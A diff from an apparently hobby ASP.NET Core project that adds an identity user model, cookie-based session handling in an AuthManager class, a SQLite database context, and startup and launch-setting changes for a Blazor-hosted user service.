||||||
|
{
|
||||||
|
b.HasOne("Interlinked.Shared.Model.Project", null)
|
||||||
|
.WithMany()
|
||||||
|
.HasForeignKey("ProjectsId")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
|
||||||
|
b.HasOne("Interlinked.Shared.Model.Tag", null)
|
||||||
|
.WithMany()
|
||||||
|
.HasForeignKey("TagsIdentifier")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("TagUserModel", b =>
|
||||||
|
{
|
||||||
|
b.HasOne("Interlinked.Shared.Model.Tag", null)
|
||||||
|
.WithMany()
|
||||||
|
.HasForeignKey("InterestsIdentifier")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
|
||||||
|
b.HasOne("Interlinked.Shared.Model.UserModel", null)
|
||||||
|
.WithMany()
|
||||||
|
.HasForeignKey("UsersId")
|
||||||
|
.OnDelete(DeleteBehavior.Cascade)
|
||||||
|
.IsRequired();
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.UserModel", b =>
|
||||||
|
{
|
||||||
|
b.Navigation("AuthSessions");
|
||||||
|
});
|
||||||
|
#pragma warning restore 612, 618
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
31
src/Interlinked.User/Models/UserDomain.cs
Normal file
31
src/Interlinked.User/Models/UserDomain.cs
Normal file
|
@ -0,0 +1,31 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.ComponentModel.DataAnnotations;
|
||||||
|
using System.ComponentModel.DataAnnotations.Schema;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text.Json.Serialization;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using Interlinked.Shared.Model;
|
||||||
|
using Microsoft.AspNetCore.Identity;
|
||||||
|
|
||||||
|
namespace Interlinked.User.Models;
|
||||||
|
|
||||||
|
public class UserDomain : IdentityUser<long>
|
||||||
|
{
|
||||||
|
[EmailAddress]
|
||||||
|
public required string Email { get; set; }
|
||||||
|
[MaxLength(96)]
|
||||||
|
public string? Name { get; set; }
|
||||||
|
[JsonIgnore]
|
||||||
|
public byte[] Salt { get; set; } = default!;
|
||||||
|
[JsonIgnore]
|
||||||
|
public byte[] Hash { get; set; } = default!;
|
||||||
|
public string? City { get; set; }
|
||||||
|
[StringLength(2)]
|
||||||
|
public string CountryCode { get; set; } = "XX";
|
||||||
|
public string? Gender { get; set; } = "cat";
|
||||||
|
public DateTime? DayOfBirth { get; set; }
|
||||||
|
public ICollection<Tag> Interests { get; set; } = default!;
|
||||||
|
[DatabaseGenerated(DatabaseGeneratedOption.Identity)]
|
||||||
|
public DateTime CreatedTimestamp { get; set; }
|
||||||
|
}
|
|
@ -1,25 +1,55 @@
|
||||||
|
using Interlinked.Shared.Model;
|
||||||
|
using Interlinked.User;
|
||||||
|
using Interlinked.User.Models;
|
||||||
|
using Interlinked.User.Services;
|
||||||
|
using Microsoft.EntityFrameworkCore;
|
||||||
|
|
||||||
var builder = WebApplication.CreateBuilder(args);
|
var builder = WebApplication.CreateBuilder(args);
|
||||||
|
|
||||||
// Add services to the container.
|
builder.Services.AddDbContext<StoreContext>();
|
||||||
|
|
||||||
builder.Services.AddControllers();
|
builder.Services.AddControllers();
|
||||||
// Learn more about configuring Swagger/OpenAPI at https://aka.ms/aspnetcore/swashbuckle
|
builder.Services.AddMemoryCache();
|
||||||
builder.Services.AddEndpointsApiExplorer();
|
builder.Services.AddDefaultIdentity<UserDomain>(o => o.SignIn.RequireConfirmedAccount = true)
|
||||||
builder.Services.AddSwaggerGen();
|
.AddEntityFrameworkStores<StoreContext>();
|
||||||
|
builder.Services.ConfigureApplicationCookie(options =>
|
||||||
|
{
|
||||||
|
// Cookie settings
|
||||||
|
options.Cookie.HttpOnly = true;
|
||||||
|
options.ExpireTimeSpan = TimeSpan.FromMinutes(30);
|
||||||
|
options.Cookie.Name = AuthManager.AUTH_COOKIE_NAME;
|
||||||
|
|
||||||
|
options.LoginPath = "/auth/login";
|
||||||
|
options.AccessDeniedPath = "/auth/account/uwuless";
|
||||||
|
options.SlidingExpiration = true;
|
||||||
|
});
|
||||||
|
builder.Services.AddHttpContextAccessor();
|
||||||
|
builder.Services.AddScoped<AuthManager, AuthManager>();
|
||||||
|
|
||||||
var app = builder.Build();
|
var app = builder.Build();
|
||||||
|
|
||||||
// Configure the HTTP request pipeline.
|
using (var scope = app.Services.CreateScope())
|
||||||
if (app.Environment.IsDevelopment())
|
|
||||||
{
|
{
|
||||||
app.UseSwagger();
|
var db = scope.ServiceProvider.GetRequiredService<StoreContext>();
|
||||||
app.UseSwaggerUI();
|
db.Database.Migrate();
|
||||||
}
|
}
|
||||||
|
|
||||||
app.UseHttpsRedirection();
|
if (app.Environment.IsDevelopment())
|
||||||
|
{
|
||||||
|
app.UseWebAssemblyDebugging();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
app.UseHttpsRedirection();
|
||||||
|
}
|
||||||
|
|
||||||
|
app.UseBlazorFrameworkFiles();
|
||||||
|
app.UseStaticFiles();
|
||||||
|
|
||||||
|
app.UseAuthentication();
|
||||||
app.UseAuthorization();
|
app.UseAuthorization();
|
||||||
|
|
||||||
app.MapControllers();
|
app.MapControllers();
|
||||||
|
|
||||||
|
app.MapFallbackToFile("index.html");
|
||||||
|
|
||||||
app.Run();
|
app.Run();
|
||||||
|
|
|
@ -13,7 +13,7 @@
|
||||||
"commandName": "Project",
|
"commandName": "Project",
|
||||||
"dotnetRunMessages": true,
|
"dotnetRunMessages": true,
|
||||||
"launchBrowser": true,
|
"launchBrowser": true,
|
||||||
"launchUrl": "swagger",
|
"launchUrl": "login",
|
||||||
"applicationUrl": "http://localhost:5066",
|
"applicationUrl": "http://localhost:5066",
|
||||||
"environmentVariables": {
|
"environmentVariables": {
|
||||||
"ASPNETCORE_ENVIRONMENT": "Development"
|
"ASPNETCORE_ENVIRONMENT": "Development"
|
||||||
|
@ -23,7 +23,7 @@
|
||||||
"commandName": "Project",
|
"commandName": "Project",
|
||||||
"dotnetRunMessages": true,
|
"dotnetRunMessages": true,
|
||||||
"launchBrowser": true,
|
"launchBrowser": true,
|
||||||
"launchUrl": "swagger",
|
"launchUrl": "login",
|
||||||
"applicationUrl": "https://localhost:7203;http://localhost:5066",
|
"applicationUrl": "https://localhost:7203;http://localhost:5066",
|
||||||
"environmentVariables": {
|
"environmentVariables": {
|
||||||
"ASPNETCORE_ENVIRONMENT": "Development"
|
"ASPNETCORE_ENVIRONMENT": "Development"
|
||||||
|
@ -32,7 +32,7 @@
|
||||||
"IIS Express": {
|
"IIS Express": {
|
||||||
"commandName": "IISExpress",
|
"commandName": "IISExpress",
|
||||||
"launchBrowser": true,
|
"launchBrowser": true,
|
||||||
"launchUrl": "swagger",
|
"launchUrl": "/",
|
||||||
"environmentVariables": {
|
"environmentVariables": {
|
||||||
"ASPNETCORE_ENVIRONMENT": "Development"
|
"ASPNETCORE_ENVIRONMENT": "Development"
|
||||||
}
|
}
|
||||||
|
|
86
src/Interlinked.User/Services/AuthManager.cs
Normal file
86
src/Interlinked.User/Services/AuthManager.cs
Normal file
|
@ -0,0 +1,86 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using Interlinked.Shared.Model;
|
||||||
|
using Microsoft.EntityFrameworkCore;
|
||||||
|
using Microsoft.Extensions.Caching.Memory;
|
||||||
|
|
||||||
|
namespace Interlinked.User.Services;
|
||||||
|
|
||||||
|
public class AuthManager
|
||||||
|
{
|
||||||
|
public const string AUTH_COOKIE_NAME = "bOiKissEr_UwU";
|
||||||
|
public AuthManager(StoreContext db, IHttpContextAccessor http, IMemoryCache cache)
|
||||||
|
{
|
||||||
|
_db = db;
|
||||||
|
_http = http;
|
||||||
|
_cache = cache;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private readonly IMemoryCache _cache;
|
||||||
|
private readonly StoreContext _db;
|
||||||
|
private readonly IHttpContextAccessor _http;
|
||||||
|
|
||||||
|
public async Task<AuthSession> CreateSession(UserModel user)
|
||||||
|
{
|
||||||
|
byte[] secret = new byte[16], key = new byte[16];
|
||||||
|
RandomNumberGenerator.Fill(secret);
|
||||||
|
RandomNumberGenerator.Fill(key);
|
||||||
|
AuthSession sess = new()
|
||||||
|
{
|
||||||
|
UserId = user.Id,
|
||||||
|
Secret = secret,
|
||||||
|
Key = key,
|
||||||
|
LastAddress = _http.HttpContext!.Connection.RemoteIpAddress
|
||||||
|
};
|
||||||
|
|
||||||
|
await _db.AuthSessions.AddAsync(sess);
|
||||||
|
await _db.SaveChangesAsync();
|
||||||
|
|
||||||
|
_http.HttpContext!.Response.Cookies.Append(AUTH_COOKIE_NAME, sess.ToString());
|
||||||
|
return sess;
|
||||||
|
}
|
||||||
|
|
||||||
|
public async Task RevokeSession(AuthSession sess)
|
||||||
|
{
|
||||||
|
_db.AuthSessions.Remove(sess);
|
||||||
|
await _db.SaveChangesAsync();
|
||||||
|
|
||||||
|
_http.HttpContext!.Response.Cookies.Delete(AUTH_COOKIE_NAME);
|
||||||
|
}
|
||||||
|
|
||||||
|
public async Task<AuthSession?> RetrieveCookie()
|
||||||
|
{
|
||||||
|
if (!_http.HttpContext!.Request.Cookies.TryGetValue(AUTH_COOKIE_NAME, out string? val) || val is null)
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
|
||||||
|
int idx = val.IndexOf('.');
|
||||||
|
string keyStr = val[0..idx], hashStr = val[(idx + 1)..];
|
||||||
|
byte[] key = Convert.FromBase64String(keyStr), hash = Convert.FromBase64String(hashStr);
|
||||||
|
|
||||||
|
var sess = await _db.AuthSessions.SingleOrDefaultAsync(s => s.Key.SequenceEqual(key));
|
||||||
|
|
||||||
|
if (sess is null)
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
using var sha = SHA256.Create();
|
||||||
|
var trueHash = sha.ComputeHash(sess.Secret);
|
||||||
|
|
||||||
|
return trueHash.SequenceEqual(hash) ? sess : null;
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
26
src/Interlinked.User/StoreContext.cs
Normal file
26
src/Interlinked.User/StoreContext.cs
Normal file
|
@ -0,0 +1,26 @@
|
||||||
|
using Interlinked.Shared.Model;
|
||||||
|
using Microsoft.EntityFrameworkCore;
|
||||||
|
|
||||||
|
namespace Interlinked.User;
|
||||||
|
|
||||||
|
public class StoreContext : DbContext
|
||||||
|
{
|
||||||
|
public DbSet<UserModel> Users => Set<UserModel>();
|
||||||
|
public DbSet<Project> Projects => Set<Project>();
|
||||||
|
public DbSet<Tag> Tags => Set<Tag>();
|
||||||
|
public DbSet<AuthSession> AuthSessions => Set<AuthSession>();
|
||||||
|
|
||||||
|
protected override void OnConfiguring(DbContextOptionsBuilder o)
|
||||||
|
{
|
||||||
|
o.UseSqlite("Data Source=/data/store.db;Cache=Shared");
|
||||||
|
o.EnableDetailedErrors();
|
||||||
|
}
|
||||||
|
|
||||||
|
protected override void OnModelCreating(ModelBuilder mb)
|
||||||
|
{
|
||||||
|
mb.Entity<UserModel>().HasMany(u => u.AuthSessions).WithOne(a => a.User);
|
||||||
|
mb.Entity<UserModel>().HasMany(u => u.Interests).WithMany(t => t.Users);
|
||||||
|
mb.Entity<UserModel>().Property(p => p.Username).UseCollation("NOCASE");
|
||||||
|
mb.Entity<Project>().HasMany(p => p.Tags).WithMany(t => t.Projects);
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in a new issue